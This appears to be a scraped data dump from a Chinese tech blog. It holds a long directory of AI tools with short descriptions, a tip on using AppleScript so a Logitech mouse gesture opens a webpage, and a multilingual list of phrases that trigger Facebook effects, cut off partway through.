优化博客和不可抗拒的营销文案促进您的销售。利用世界上最强大的文案的秘密……让您的文案机器人将它们变为现实! Kafkai 搜索引擎优化 https://kafkai.com Kafkai 是一种机器学习算法,可以从头开始写文章。面向营销人员和 SEO 的尖端技术。 Spinrewriter 搜索引擎优化 https://spinrewriter.com 需要独特的内容?观看如何在 45 秒内将一篇文章改写成 500 篇文章。借助 ENL 技术,Spin Rewriter 是 SEO 专家的完美工具,他们需要独特的、人性化的内容才能在 Google 上获得更高的排名。 Writer 搜索引擎优化 https://writer.com Discover Writer,适用于团队的 AI 写作平台。随处制作清晰、一致且符合品牌的内容。今天免费试用。 LongShot 搜索引擎优化 https://longShot.ai 使用人工智能创建人类和搜索引擎喜欢的博客。LongShot 是一款 AI 写作助手,可帮助您和您的团队创建有用的博客,并在 Google 上排名。 Word Spinner 搜索引擎优化 https://word-spinner.com 立即将任何文章或文本重写为 SEO 友好的独特内容。Word Spinner 可以让您的写作前所未有地闪耀,对于任何想要提高写作技巧的人来说,它都是一个不错的选择。 Neuronwriter 搜索引擎优化 https://neuronwriter.com 优化您的网站内容,让 Google 喜欢它。具有语义模型 (NLP)、Google SERP 分析和竞争数据的高级内容编辑器。NEURONwriter 帮助您在考虑用户意图的情况下规划和优化内容! Topicmojo 搜索引擎优化 https://topicmojo.com Topic mojo 是一种用于内容研究的 AI 工具。获取可帮助您发展在线业务的分析功能。 Compar 搜索引擎优化 https://compar.ai AI 支持的内容分析。 Typli 搜索引擎优化 https://typli.ai 最直观的 AI 内容工具,结合了 AI 写作和 SEO 助手。 Eilla AI 搜索引擎优化 https://eilla.ai Eilla.AI 是一款人工智能助手,可为您的企业、博客、广告、电子邮件和逼真的图像或艺术生成高质量的内容。免费开始,无需信用卡! Letterdrop 搜索引擎优化 https://letterdrop.com 创建的内容增加 32%,速度更快,麻烦更少。Letterdrop 简化并自动化您的内容操作。 Writey AI 搜索引擎优化 https://writey.ai 改变内容的创建方式。使用人工智能更快地创建内容。最先进的语言 AI 第一个真正的免费抄袭 AI,具有原创和研究内容,检查 Writey AI 的实际应用 AI-Writer 搜索引擎优化 https://ai-writer.com AI-Writer是最精准的内容生成平台。使用最先进的 AI 写作模型从标题生成文章。 Scalenut 搜索引擎优化 https://scalenut.com 制作以简单且可扩展的方式服务于您的业务目标的内容。引导工作流程仅需 5 分钟即可完成博客! Wordhero 搜索引擎优化 https://wordhero.co 借助 WordHero 的 AI 技术,您可以在几秒钟内创建原创博客文章、社交媒体内容、电子邮件等。 growthbar 搜索引擎优化 https://growthbarseo.com 使用 AI 为博客文章、网站页面和文章编写完美的 SEO 友好内容。 Katteb 搜索引擎优化 https://katteb.com Katteb AI 可以快速轻松地为您的博客和在线商店创建内容。 Thundercontent 搜索引擎优化 https://thundercontent.com 使用 AI 生成内容。Thundercontent 使用人工智能帮助您以光速撰写关于任何主题的独特文章。扩展您的内容策略。克服作家的障碍。您还可以使用 Thundercontent 生成音频。 Moonbeam 搜索引擎优化 https://gomoonbeam.com Moonbeam 的 AI 将为您提供编写杀手级长篇内容所需的一切。在 10 分钟内将写作能力提高 2 倍。 Copymatic 搜索引擎优化 https://copymatic.ai 使用 AI 在几秒钟内生成内容和复制使用 AI 来增加您的流量并节省工作时间。自动编写独特、引人入胜且高质量的副本或内容:在几秒钟内从长篇博文或登陆页面到数字广告。 ArticleForge 搜索引擎优化 https://articleforge.com 从产品描述到整个博客文章,只需单击一下,Article Forge 就可以提供关于任何主题的独特的、SEO 优化的、高质量的内容。 BrameWork 搜索引擎优化 https://bramework.com 写博客文章的速度提高 5 倍。Bramework 是一款易于使用的 AI 作家,可帮助博主、自由职业者和代理机构在每篇博文中节省时间。 InstaSalesAI 社交媒体助手 https://instasalesai.com InstaSalesAI 是用于 Instagram 营销的人工智能工具的集合。您可以使用它来生成轮播内容或营销挂钩。 FeedHive 社交媒体助手 https://feedhive.com 使用 FeedHive 的人工智能平台大规模创建、安排、发布和轻松管理您的社交媒体内容。拖放计划、自动生成主题标签以及最活跃的时间安排和精湛的分析。 Predis 社交媒体助手 https://predis.ai Predis.AI 是一种人工智能驱动的内容生成器,可帮助在几秒钟内创建令人惊叹的社交媒体帖子。它提供多种功能,例如创意生成、参与度预测、内容推荐、主题标签推荐和创意建议。 Tweet Hunter 社交媒体助手 https://tweethunter.io 建立您的 Twitter 受众并从中获利。获得销售、增长和新网络。比你目前正在尝试的更快。 Contenda 社交媒体助手 https://contenda.co 一个统一的内容存储库,可以比代理机构更好更快地重新利用技术内容 Editby 社交媒体助手 https://editby.ai 您是否发现自己很难想出有趣的推文?开始使用 AI 像著名的 Twitter 帐户一样写作,这样您就不必再担心作家的瓶颈了。 Spatial 社交媒体助手 https://spatial.ai 使用实时社交媒体细分系统预测和影响客户行为。它根据人们的社交、移动和网络活动以及描述某个位置附近社交活动的类型和速度的地点对他们进行细分。 SocialBu 社交媒体助手 https://socialbu.com SocialBu 是提高社交媒体影响力和最大化结果的完美解决方案。发布、响应、分析和自动化 - 全部在 SocialBu 中完成。 TweetEmote 社交媒体助手 https://TweetEmote.com AI 驱动的推文助手,可帮助用户撰写富有表现力且引人入胜的推文。还可以通过编写提示和选择情绪来创建对您想要的任何推文的智能回复。 Repl AI 社交媒体助手 https://replai.so 使用 AI 创建有意义的 Twitter 回复的 Chrome 扩展。Replai.so 是与社区建立联系、在社交媒体上显得聪明、有趣、专业、显得更聪明并以 10 倍的努力增加您的受众的最简单方式。你可以在 chrome 网上商店找到它。 CrawlQ.ai 社交媒体助手 https://crawlq.ai 与您的观众一起创造“品牌之爱”。CrawlQ 提供具有全球影响力的高情感、高同理心、高投资回报率、以受众为中心的创意作品。 Graham AI 社交媒体助手 https://grahamai.co 像 AI 生成的天才技术影响者一样发推文。 AI Social Bio 社交媒体助手 https://aisocialbio.com 您的社交媒体简历,由人工智能创建。 SheetGod 电子表格 https://boloforms.com 使用简单的英语和 SheetGod 创建复杂的 Excel 公式。我们的 AI 驱动工具还允许您创建宏、正则表达式和基本任务,以及 Google Appscript 代码片段来自动执行您的日常手动工作。立即尝试并体验 SheetGod 的强大功能。 Goodlookup 电子表格 https://goodlookup.com Goodlookup 是电子表格用户的智能功能。它将 AI 语言模型的优势带给普通人。 Excel Formula Bot 电子表格 https://excelformulabot.com 在 AI 的帮助下,在几秒钟内将您的文本指令转换为 Excel 公式。停止浪费时间创建 Excel 公式。体验 Excel 和 Google 表格 AI 公式生成器的全部功能,在几秒钟内解决问题。 Sheet+ 电子表格 https://sheetplus.ai 从文本生成 Google 表格和 Excel 公式,将公式转换为简单的解释、调试公式等。 Sheet AI 电子表格 https://sheetai.app 适用于 Google 表格和 Excel(即将推出)跳过学习,直接开始工作。使用 AI 将您的文本指令快速转换为 Google 表格公式。(2-3 周后上线) AIHelperBot 数据库 https://aihelperbot.com 使用 AI 即时构建 SQL 查询。无需先验 SQL 知识即可构建 SQL 查询。加入 1000 多人的行列,开始提高您的 SQL 熟练程度和工作效率。还支持 MongoDB 等 NoSQL 数据库。 AI Data Sidekick 数据库 https://airops.com 使用我们强大的秘诀集,编写 SQL、文档等的速度提高 10 倍。‍个人和小团队免费。 Channel 数据库 https://usechannel.com 用英语(自然语言)提问并自动生成您需要的 SQL、答案和可视化。与团队成员协作快速创建仪表板,然后使用频道建议的问题进一步探索您的数据。 Ai2sql 数据库 https://ai2sql.io 使用 AI2sql,工程师和非工程师都可以在不了解 SQL 的情况下轻松编写高效、无错误的 SQL 查询。 Avanty 数据库 https://avanty.app 永远不要再浪费宝贵的数据分析师时间来编写无聊的 SQL 查询。Avanty 是一种基于 AI 的数据查询 + 商业智能工具,让每个人都能以更低的成本更快地从数据中获得洞察力。 Broadn 启动 https://broadn.io 跟随你的好奇心,开阔你的视野。 Paperade 启动 https://paperade.co Paperade 是第一个基于 AI 的工具,可以从超过 1 亿篇学术论文和研究中生成商业用例和公司创意。这就像拥有创业理念方面的博士学位。 Tome 启动 https://beta.tome.app 生成式叙事的未来就在这里。使用 Tome 的 AI 驱动的讲故事格式解锁您的最佳作品。 Rationale 启动 https://rationale.jina.ai Rationale 是一款帮助企业家和管理者做出艰难决定的应用程序。只需输入您的未决决定,他们的人工智能应用程序就会列出优缺点或生成 SWOT 分析来帮助您权衡您的选择 Namelix 启动 https://namelix.com Namelix 将使用人工智能生成一个简短的品牌企业名称。也非常适合发现新域名 😃 Finta 启动 https://trustfinta.com 只需一个工具即可完成所有工作,为您的筹款活动提供支持。Finta 是您的筹款副驾驶。端到端地自动化您的工作流程,这样您就可以重新开始发展您的业务。 Ideabuddy 启动 https://ideabuddy.com 将您的经营理念变为现实。多合一的商业规划软件,可帮助您将伟大的想法变成成功的企业。 Validator AI 启动 https://validatorai.com 任何想法的 AI 业务验证器。在 AI 的支持下,验证并接收有关任何创业想法的建设性反馈。它首先列出您在经营业务时可能遇到的潜在困难,然后给出关于您的经营理念的总体反馈。 Durable 启动 https://durable.co 在 30 秒内让您的业务在线。面向个人企业主的人工智能平台。生成一个网站,自动化您的营销,并管理您的财务。 Pitchgrade 启动 https://pitchgrade.com 在您的推销平台上获得即时反馈,因此筹款成为您最不关心的事情。 Namewizard.ai 启动 https://namewizard.ai Namewizard 允许您为您的想法/项目/启动想出一个 AI 生成的名称。您还可以根据生成的名称浏览可用域。 Subtxt 说故事的人 https://subtxt.app Subtxt 是唯一符合作者直觉的智能大纲,而不是违背直觉。 Fabled 说故事的人 https://fabled.ai 终极 AI 故事生成器。由您创作的故事,由 AI 提供支持。用一句话 fabled.AI 制作个人插图故事,并通过令人惊叹的图像进行丰富。免费试用! Artflow ai 说故事的人 https://artflow.ai 毫不费力地将想法转化为动画故事,让创造力流动起来。Artflow.AI 可让您使用 AI 生成的资产创建您自己的、具有原始角色的独特动画故事。 Once Upon A Bot 说故事的人 https://onceuponabot.com 使用 AI 创作原创故事。告诉 OnceUponABot 您的故事创意,机器人将使用 AI 从头开始编写故事。 NovelAI 说故事的人 https://novelai.net GPT 驱动的 AI Storyteller。在 AI 的驱动下,构建独特的故事、激动人心的故事、诱人的浪漫故事,或者只是胡闹。什么都可以!! StoriesForKids 说故事的人 https://storiesforkids.ai 一起阅读和创造。在手机上几秒钟内将现实生活中的情景变成有趣的故事和插图。 Neural Canvas 说故事的人 https://neuralcanvas.io Neural Canvas 是一种数字插图生成器服务,能够为您的漫画、博客文章、电子书、故事、收藏等生成独特的插图。使用它创建您自己的 AI 生成的漫画。 BedtimeStory AI 说故事的人 https://bedtimestory.ai 在几秒钟内创建个性化的即时睡前故事。生成一个关于您孩子的故事,包括一些家庭成员作为角色,并添加类型、故事风格、道德等等——使用人工智能生成。他们的开放图书馆有 5000 多个故事。探索社区创造的所有故事。您可以为故事点赞、将它们加入您的收藏夹、重新混合*它们、与朋友分享、阅读给您的孩子听。 Scene One 说故事的人 https://sceneone.app 最好的图书写作软件。使用我们直观的写作应用程序编写更多故事,花更少的时间学习复杂的功能。 StoryWizard 说故事的人 https://storywizard.ai 创造精彩的儿童故事 通过使用人工智能帮助您生成独特而美丽的儿童故事,这些故事具有生动的画面和有趣的情节。 Story Path 说故事的人 https://storypath.app 由 AI 提供支持的图书规划应用程序 计划您的故事或在几分钟内解决您的作家的瓶颈 对您的情节接下来的发展方向感到困惑,或者有一个需要充实的故事想法?仅通过简短描述,Story Path 就会为您的情节生成分支选项。展开并探索您最喜欢的路径,并根据您的喜好自定义细节。 What on earth? 说故事的人 https://whatonearth.xyz 一种学习新事物的有趣方式。仅需一个单词提示即可生成故事。 Summate 摘要器 https://summate.it 总结网络文章的实验性 AI 工具。该站点使用全文 RSS 进行文章提取,使用 OpenAI 进行文章摘要。 TLDR this 摘要器 https://tldrthis.com TLDR 可帮助您将任何一段文本概括为简洁、易于理解的内容。从信息过载中解脱出来。 Upword 摘要器 https://upword.ai 使用 Upword 轻松总结您的内容。将他们强大的 AI 工具与您自己的笔记相结合,以创建更快、更高效的摘要,您可以阅读或收听。 WordfixerBot 摘要器 https://wordfixerbot.com WordfixerBot 是释义器、语法检查器、文本摘要器和文本比较工具。 Genei 摘要器 https://genei.io 自动总结背景阅读并更快地生成博客、文章和报告。 Otter AI 摘要器 https://otter.ai 从会议中捕捉和分享见解。Otter 记录会议,实时做笔记,并生成自动摘要以与所有人共享并帮助您记住一切。 Bearly 摘要器 https://bearly.ai 对研究人员非常有用的 AI 工具 - 它可用于创建摘要、大纲或改写文章。 Summari 摘要器 https://summari.com 改善您网站上的阅读体验。使用我们世界一流的 AI 摘要技术将链接升级为简短、信息丰富的预览。 Summarize Tech 摘要器 https://summarize.tech 人工智能驱动的视频摘要。获取任何长 YouTube 视频的摘要,例如讲座、现场活动或政府会议。 ExplainThis 摘要器 https://explainthis.ai 一个 chrome 扩展,可以用通俗易懂的语言向您解释概念。AI 助手只需单击一下即可提供整个页面的摘要。当您没有太多时间或想要一个简洁的总和时,这很有用 GPT-Prompter 摘要器 https://gptprompter.com Chrome 扩展程序可以快速解释所选文本。 SummerEyes 摘要器 https://summereyes.ai 一键总结互联网上的任何文本。提高您的工作效率。在很短的时间内达到目的。 Wellsaidlabs 文字转语音 https://wellsaidlabs.com 美妙的声音触手可及,文字转语音令人着迷。降低成本并简化语音制作过程。 Replicastudios 文字转语音 https://replicastudios.com 为您的创意项目合成 AI 语音。使用 Replica Voice 创建自然而富有表现力的语音表演。 Ad Auris 文字转语音 https://play.ad-auris.com 随时随地收听文章!创建文章播放列表并在 Spotify、Apple Podcasts 和 Google Podcasts 上收听它们。 FakeYou 文字转语音 https://fakeyou.com 使用 FakeYou 将文本转换为语音,并用您喜欢的角色说话。还可以获取您自己的语音克隆,用于音乐、视频、twitch 奖励以及您想要的任何内容。 Listnr 文字转语音 https://listnr.tech AI 语音生成器具有 80 多种语言的 600 多种画外音,在几秒钟内从文本到语音,以 MP3 或 WAV 格式轻松导出您的声音。 Resemble 文字转语音 https://resemble.ai 具有语音克隆功能的 AI 语音生成器,用于文本到语音的转换。 Audioread 文字转语音 https://audioread.com 将您的阅读变成播客。在您的播客应用程序中收听任何文章、PDF、电子邮件等。 Whisper 文字转语音 https://github.com Whisper 是一种通用的语音识别模型。它在不同音频的大型数据集上进行训练,也是一个多任务模型,可以执行多语言语音识别以及语音翻译和语言识别。 Descript 文字转语音 https://descript.com 创建语音的文本到语音模型。尝试现场演示。 Symbl.ai 文字转语音 https://symbl.ai 集成实时语音转文本和上下文理解。由先进的深度学习模型提供支持。从非结构化对话数据启用实时字幕、跟踪用户意图、生成摘要等。 Murf AI 文字转语音 https://murf.ai 使用多功能 AI 语音生成器将文本转换为语音 将 Murf 逼真的 AI 声音用于播客、视频和所有专业演示 Play.ht 文字转语音 https://play.ht 人工智能驱动的文本到语音生成器。使用我们的在线 AI 语音生成器和最佳合成语音生成逼真的文本到语音 (TTS) 音频。立即将文本转换为听起来自然的语音并下载为 MP3 和 WAV 音频文件。 Apple Books 文字转语音 https://apple.com 由文本到语音 AI 讲述的有声读物现在可以通过 Apple 的 Books 获得。最初仅适用于浪漫小说和小说书籍,其中列出了两个可用的数字声音:麦迪逊和杰克逊。 Article.Audio 文字转语音 https://article.audio 懒得看文章?没问题,听听吧!将文章转换为音频 Convai 文字转语音 https://convai.com 易于使用的对话式 AI API,用于语音识别、语言理解和生成以及文本到语音转换。设计您的游戏和支持语音的应用程序。设计基于对话的角色和基于语音的游戏。 Speechify 文字转语音 https://speechify.com 让格温妮丝·帕特洛 (Gwyneth Paltrow) 和史努比狗狗 (Snoop Dogg) 等名人朗读您的文字。适用于 Chrome、iOS、Android 和 Mac 的文字转语音。 Eleven Labs 文字转语音 https://levenlabs.io 语音的未来。第一个以任何语音和任何语言生成长格式语音的平台。我们使用 AI 为寻求终极叙事质量的创作者和出版商带来最自然、最引人注目的声音。 Coqui 文字转语音 https://coqui.ai Coqui,言论自由。 Free Subtitles AI 转录员 https://freesubtitles.ai 使用这个免费的开源应用程序为电影生成字幕! fireflies.ai 转录员 https://fireflies.ai 会议的 AI 助手 录制、转录和搜索语音对话。 Whisper Memos 转录员 https://whispermemos.com Whisper Memos 是一款应用程序,可以记录您的声音并在几分钟后向您发送一封包含转录内容的电子邮件。用它来记录快速的想法、提醒和每日日记条目。 Supertranslate 转录员 https://supertranslate.ai 一键添加准确的英文字幕到任何语言的视频。您可以上传 100 多种语言的视频,Supertranslate 会自动生成英文字幕。Supertranslate 由 OpenAI 的 Whisper 提供支持,它是世界上最准确的语音转文本系统。它对背景噪音、语言混合和口音都很稳健。 Type Studio 视频编辑 https://typestudio.co Type Studio 是一种基于文本的视频编辑器,可以自动将您的视频转录为文本。他们还有用于视频编辑、字幕、播客、重新调整用途和录制的快速工具。 Contentfries 视频编辑 https://contentfries.com 使用 ContentFries 获取数十个内容片段。以比以往更快的速度提前数周或数月创建上下文内容。他们还有一个字幕创建软件 - 120 多种语言和方言的自动字幕。 Topaz Video AI 视频编辑 https://topazlabs.com 无限制地访问世界领先的生产级神经网络,用于视频放大、去隔行、运动插值和抖动稳定——所有这些都针对您的本地工作站进行了优化。 Shuffll 视频编辑 https://shuffll.com Shuffll 是一个尖端的视频制作平台,它使用 AI 技术简化创作过程。我们的平台使企业能够轻松创建高质量、个性化的视频内容,所用时间仅为使用传统方法所需时间的一小部分。 Gling 视频编辑 https://gling.ai Gling 是一款专为视频内容创作者打造的 AI 工具。他们的 AI 将为您消除沉默和糟糕的镜头,因此您可以专注于您的 YouTube 视频。 Pictory 视频编辑 https://pictory.ai Pictory 是一种视频营销工具,可以从长格式内容自动创建简短、高度共享的品牌视频。将您的脚本和博客文章自动变成引人入胜的视频。 Runwayml 视频编辑 https://runwayml.com 探索高级视频编辑功能,让您的创作更上一层楼。 Unscreen.com 视频编辑 https://unscreen.com 删除视频背景,100% 自动且免费。使用 Unscreen,您可以在任何地方录制您的镜头,然后简单地摆脱背景。 Colourlab 视频编辑 https://colourlab.ai 好莱坞遇上人工智能。Colourlab AI 借助全新的突破性人工智能工具,通过自动进行颜色匹配和平衡,使颜色分级变得快速、简单和简单。 Papercup 视频编辑 https://papercup.com 发现更快、更实惠的自动配音,并利用您现有的视频内容走向全球。使用 AI 以英语、西班牙语、葡萄牙语和意大利语配音您的内容。它们被 BBC、Sky News 和 Insider 等公司使用。 Dubverse 视频编辑 https://dubverse.ai 最简单(也是最神奇)的视频配音方式。只需单击一个按钮,即可使您的内容支持多种语言,并覆盖更多人。 Vidyo.ai 视频编辑 https://vidyo.ai 立即将长视频制作成短视频。使用强大的 AI 从您现有的视频中创建短片 ✨ 节省 90% 的时间和精力。 Munch 视频编辑 https://getmunch.com 自动将长视频转换为社交媒体的数据驱动短片。Munch 通过收集 TikTok、IG、YT 和 FB 用户的最高兴趣并将其应用到您的 AI 生成的剪辑中来产生曝光率和参与度。 FILM 视频生成器 https://replicate.com 电影 - 大场景运动的帧插值。在两个现有图像(插值)之间生成帧以尝试创建动画。 Astria 视频生成器 https://astria.ai 量身定制的人工智能图像生成。开始创建您的独特图像。 Waymark 视频生成器 https://waymark.com Waymark 的 AI 视频创建器可以轻松为任何潜在客户创建规格创意。现在,您可以带着完全定制的样本广告走进每一场会议。 Fliki 视频生成器 https://fliki.ai 在 2 分钟内使用逼真的声音从脚本或博客文章创建视频!将博客文章转换为视频。逼真的文字转语音。丰富的股票媒体库。受到来自 Google、Meta、Bytedance 和 Upwork 等公司的 30k+ 内容创作者的信任。 Synthesia 视频生成器 https://synthesia.io 只需输入文本即可创建 AI 视频。易于使用、便宜且可扩展。与真人演示者一起制作引人入胜的视频 - 直接从您的浏览器。免费演示。 Steve AI 视频生成器 https://steve.ai Steve AI 是面向社交媒体和内容营销人员的 AI 视频制作者,用于创建实时和动画视频。在 Steve AI 的帮助下,您可以将博客文章、脚本或文本内容转换为用于社交媒体的小型视频。它的功能包括创意人工智能、搜索人工智能和全自动解决方案。 InVideo 视频生成器 https://invideo.io 释放视频的力量。借助 InVideo,每个人都可以创建更吸引人、带来更多潜在客户并节省时间的精美专业视频。我们的库包含 5000 多个模板、过渡和效果,可帮助您轻松、快速、高效地创建视频。无需下载。 Opus 视频生成器 https://opus.ai 把文字变成电影和游戏。 WowTo 视频生成器 https://wowto.ai 在几分钟内创建操作视频并托管引人入胜的视频知识库。建立视频知识库。 Colossyan 视频生成器 https://colossyan.com Colossyan Creator 让视频创作变得简单无压力。与真人演员一起探索我们的 AI 视频创作者。在不到 5 分钟的时间内创建视频。从这里开始免费。 Xpression Camera 视频生成器 https://xpressioncamera.com Xpression Camera 是一款屡获殊荣的虚拟相机应用程序,它允许用户使用一张照片立即变身为任何人或任何有脸的人,而无需任何处理时间。xpression 相机使用户能够在使用 Zoom 等应用聊天、在 Twitch 上直播或创建 YouTube 视频时实时重新定义他们的屏幕角色。 Movio 视频生成器 https://movio.la 当你可以使用 AI 视频编辑器来创建一个代言人时,为什么还要付钱给代言人呢?MOVIO 是一种顶级合成媒体,可以将您的文本转换为视频。 Pyttipanna 视频生成器 https://pyttipanna.xyz Pyttipanna 是 Pytti 5 的一个界面。它允许您构建、叙述和试验视频创建的提示。Pytti 是一个使用机器学习模型创建和渲染视频的框架。 Peech 视频生成器 https://peech-ai.com 将您的内容团队变成不可阻挡的创作者。自动转录、编辑、重新利用和标记您的视频内容 - 所有这些都在一个地方并大规模制作视频内容。 Wonder Dynamics 视频生成器 https://wonderdynamics.com 在 Wonder Dynamics,我们将 AI 技术与一流的故事讲述相结合。 Creative Reality Studio (D-ID) 视频生成器 https://studio.d-id.com 世界上第一个结合了 GPT-3、Stable Diffusion 和 D-ID 独特的面部动画技术的平台。我们的生成式 AI 会在几秒钟内将您的视野变成会说话的化身。 LiveReacting AI 视频生成器 https://livereacting.com 使用我们的 AI 主持人提升您的现场表演。节省时间和金钱,同时为您的观众提供互动和引人入胜的体验。 Audiolabs 视频生成器 https://audiolabs.io 将您的播客转换为适合 TikTok、YouTube Shorts 和 Reels 的短视频的平台。接触新的播客听众并推动业务成果 🎙️在短格式平台上发布视频剪辑充当听众发现您的库存并收听完整剧集或其他营销目标的“钩子” Hourone 视频生成器 https://hourone.ai 欢迎来到 Hour One——世界上发展最快的 AI 视频制作者。我们将文字转为视频,让学习和发展变得更加有趣和有效。现在试试! VidIQ 视频生成器 https://vidiq.com 使用 AI 提升您的 YouTube 观看次数。获得免费的见解和指导,以保持您的频道不断发展。 ","tags":[{"index":-1,"name":"AI 科技","slug":"ai-tech","used":true,"link":"https://dev-coco.github.io/tag/ai-tech/"}],"title":"AI 人工智能列表","feature":"https://dev-coco.github.io/post-images/AI-List.jpg","link":"https://dev-coco.github.io/post/AI-List/","stats":{"text":"125 min read","time":7446000,"words":33456,"minutes":125},"date":"2023-02-12 12:41:38","dateFormat":"2023-02-12"},{"content":"软件本身没有此功能,但是可以通过其它方法实现。 之前使用 Logi Options 的时候是有打开网页的功能,但是不知道为什么在 Plus 版本,就没有打开网页的功能了,只能另辟奇径来实现这个效果。 本来是打算用 shell 来解决这个问题的,但是在 macOS 12 的时候是可以使用的,不知为何在 macOS 13 就出现下面的提示。 既然无法直接运行 Shell,那么就把 Shell 打包成应用程序来运行。 编写脚本 使用 AppleScript,放入下面的代码。 do shell script "open https://dev-coco.github.io/Online-Tools/Online-Code-Editor.html" do shell script 通过 shell 来执行命令,open 是用来打开后面的内容,那么把需要打开的链接放在后面,这样执行的时候就可以打开链接了。 打包 App 点击左上角的「文件」,选择「导出」。 设置一个名字,「文件格式」选择应用程序,勾选「仅运行」,点击存储。 然后就会生成好应用程序了,运行后就会打开链接。 设置手势 在 Logi Options 设置手势,选择「打开应用程序」或「打开文件」都可以,选择刚才生成好的应用程序。 激活手势后就可以正常打开网页了。 ","tags":[{"name":"软件","slug":"software","used":true,"link":"https://dev-coco.github.io/tag/software/"},{"index":-1,"name":"macOS","slug":"macos","used":true,"link":"https://dev-coco.github.io/tag/macos/"}],"title":"Logi Options+ 手势打开网页","feature":"https://dev-coco.github.io/post-images/Logi-Options-Open-Web.png","link":"https://dev-coco.github.io/post/Logi-Options-Open-Web/","stats":{"text":"2 min read","time":74000,"words":340,"minutes":2},"date":"2023-02-10 02:42:36","dateFormat":"2023-02-10"},{"content":"Facebook 特效文字,点击后可触发特效动画。 table { margin: 0 auto !important;} 气球 语言 内容 英语 congrats 英语 congratulations 捷克语 gratuluju 捷克语 gratuluji 捷克语 gratulujeme 捷克语 blahopřeju 捷克语 blahopřeji 捷克语 blahopřejeme 挪威语 Til lykke 挪威语 Tillykke 德语 Glückwunsch 德语 Gratuliere 西班牙语 felicitaciones 西班牙语 enhorabuena 芬兰语 paljon onnea 芬兰语 onnittelut 法语 Félicitations 匈牙利语 gratula 匈牙利语 gratulálok 匈牙利语 gratulálunk 意大利语 congratulazioni 意大利语 complimenti 日语 おめでとう 日语 おめでとうございます 韩语 축하해 韩语 축하해요 挪威语 gratulerer 荷兰语 Gefeliciteerd 波兰语 gratulacje 葡萄牙语 Parabéns 葡萄牙语 felicitações 罗马尼亚语 felicitări 俄语 мои поздравления 俄语 поздравляем 俄语 поздравляю 斯洛伐克语 gratulujem 斯洛伐克语 blahoželám 泰语 ยินดีด้วย 泰语 ขอแสดงความยินดี 土耳其语 tebrikler 土耳其语 tebrik ederim 中文 恭喜 中文 祝贺你 中文 恭喜你 布尔语(南非荷兰语) baie geluk 荷兰语 veels geluk 孟加拉语 অভিনন্দন 克罗地亚语 Čestitam 克罗地亚语 Čestitke 克罗地亚语 Čestitamo 希腊语 Συγχαρητήρια 希腊语 Μπράβο 古吉拉特语 અભિનંદન 印地语 badhai 印地语 बधाई 马拉地语 अभिनंदन 塞尔维亚语 Честитам 塞尔维亚语 Свака част 斯瓦希里语 hongera 泰米尔语 வாழ்த்துகள் 泰米尔语 வாழ்த்துக்கள் 泰卢固语 అభినందనలు 马拉雅拉姆语 അഭിനന്ദനങ്ങൾ 越南语 Chúc mừng 希伯来语 מזל טוב 保加利亚语 mazel tov 保加利亚语 mazal tov 碰拳 语言 内容 英语 gg 跳跃的赞 语言 内容 英语 you got this 捷克语 to dáš 捷克语 to dáte 挪威语 du har styr på det 德语 du schaffst das 西班牙语 tú puedes hacerlo 西班牙语 tú puedes lograrlo 西班牙语 tú puedes 芬兰语 pärjäät kyllä 法语 ça va le faire 匈牙利语 meg tudod csinálni 意大利语 ce la farai 日语 大丈夫 韩语 잘 될거에요 挪威语 du klarer dette 荷兰语 je kunt het aan 波兰语 Dasz radę! 葡萄牙语 já deu certo 葡萄牙语 vais conseguir 俄语 у тебя все получится 捷克语 to zvládneš 瑞典语 du klarar detta 泰语 คุณทำได้อยู่แล้ว 土耳其语 başaracaksın 中文 你行的 中文 你可以的 布尔语(南非荷兰语) jy het dit 孟加拉语 আপনি এটি পেয়েছেন। 克罗地亚语 ti to možeš 英语 you've got this 英语 t'es capable 希腊语 καλή επιτυχία 古吉拉特语 શાબાશ 印地语 शाबाश 印尼语 pasti sukses 卡纳达语 ನೀವು ಇದನ್ನು ಪಡೆದುಕೊಂಡಿರುವಿರಿ 马来语 anda mendapat ini 马拉地语 तुला हे मिळालेच समज 旁遮普语 ਤੁਹਾਨੂੰ ਇਹ ਪ੍ਰਾਪਤ ਹੋਇਆ 塞尔维亚语 знам да ћеш успети 西班牙语 una hii 菲律宾语 kaya mo ito 泰米尔语 உன்னால் பெற முடியும் 泰卢固语 మీరు దీనిని సాధించారు 马拉雅拉姆语 നിങ്ങളിത് നേടി 越南语 bạn đã làm được 阿拉伯语 أثق في قدرتك على تحقيق هذا 乌尔都语 آپ کر سکتے ہیں 缅甸语 ဤအရာကို သင်ရထားသည် 缅甸语 ဤအရာကို သင္ရထားသည္ 火箭赞 语言 内容 英语 radness 德语 der Hammer 法语 génial 爱尔兰语 daora 泰语 สุดปัง 奥洛莫语 kamaal 马来语 luar biasa 爱心 语言 内容 英语 xoxoxo 英语 xoxo 丹麦语 Kys og knus 西班牙语 besos y abrazos 法语 bisou 法语 bisous 韩语 꽁냥꽁냥 葡萄牙语 Um abraço 罗马尼亚语 pupici 土耳其语 cmuk 泰语 จุ๊บๆ 泰语 จุ๊บจุ๊บ 土耳其语 öptüm 中文 么么哒 克罗地亚语 Šaljem poljupce! 希腊语 φιλάκια 马来语 peluk 塞尔维亚语 Грлим те 马拉雅拉姆语 ഉമ്മ 鲜花赞 语言 内容 英语 wonderful time 英语 lovely time 斯洛伐克语 super zábava 丹麦语 en dejlig dag 丹麦语 en dejlig aften 德语 viel Spaß 西班牙语 que la hayas pasado genial 西班牙语 que lo hayas pasado genial 西班牙语 que la hayan pasado genial 西班牙语 que lo hayan pasado genial 西班牙语 que la hayas pasado increíble 西班牙语 que lo hayas pasado increíble 西班牙语 que la hayan pasado increíble 西班牙语 que lo hayan pasado increíble 芬兰语 oli hieno 芬兰语 oli mukavaa 法语 bien amusé 法语 bien amusés 法语 bien amusée 法语 bien amusées 意大利语 divertente 意大利语 divertito 意大利语 divertita 意大利语 divertiti 意大利语 divertite 意大利语 divertimento 日语 素晴らしい時間 日语 すばらしい時間 日语 素晴らしいひととき 日语 素晴らしいひと時 韩语 멋진 시간 挪威语 ha det fantastisk 丹麦语 har det fantastisk 挪威语 hadde det fantastisk 挪威语 har hatt det fantastisk 挪威语 får det fantastisk 荷兰语 genoten 波兰语 cudowne chwile 俄语 отлично провел время 俄语 отлично провела время 俄语 отлично провели время 俄语 замечательно провел время 俄语 замечательно провела время 俄语 замечательно провели время 斯洛伐克语 nádherné chvíle 瑞典语 underbart 土耳其语 harika zaman 土耳其语 harika vakit 中文 嗨爆了 中文繁体 精彩時刻 中文繁体 精彩時光 中文繁体 美妙時光 布尔语(南非荷兰语) wonderlike tyd 阿尔巴尼亚语 kohë e mrekullueshme 孟加拉语 অপূর্ব সময় 保加利亚语 прекарах си страхотно 保加利亚语 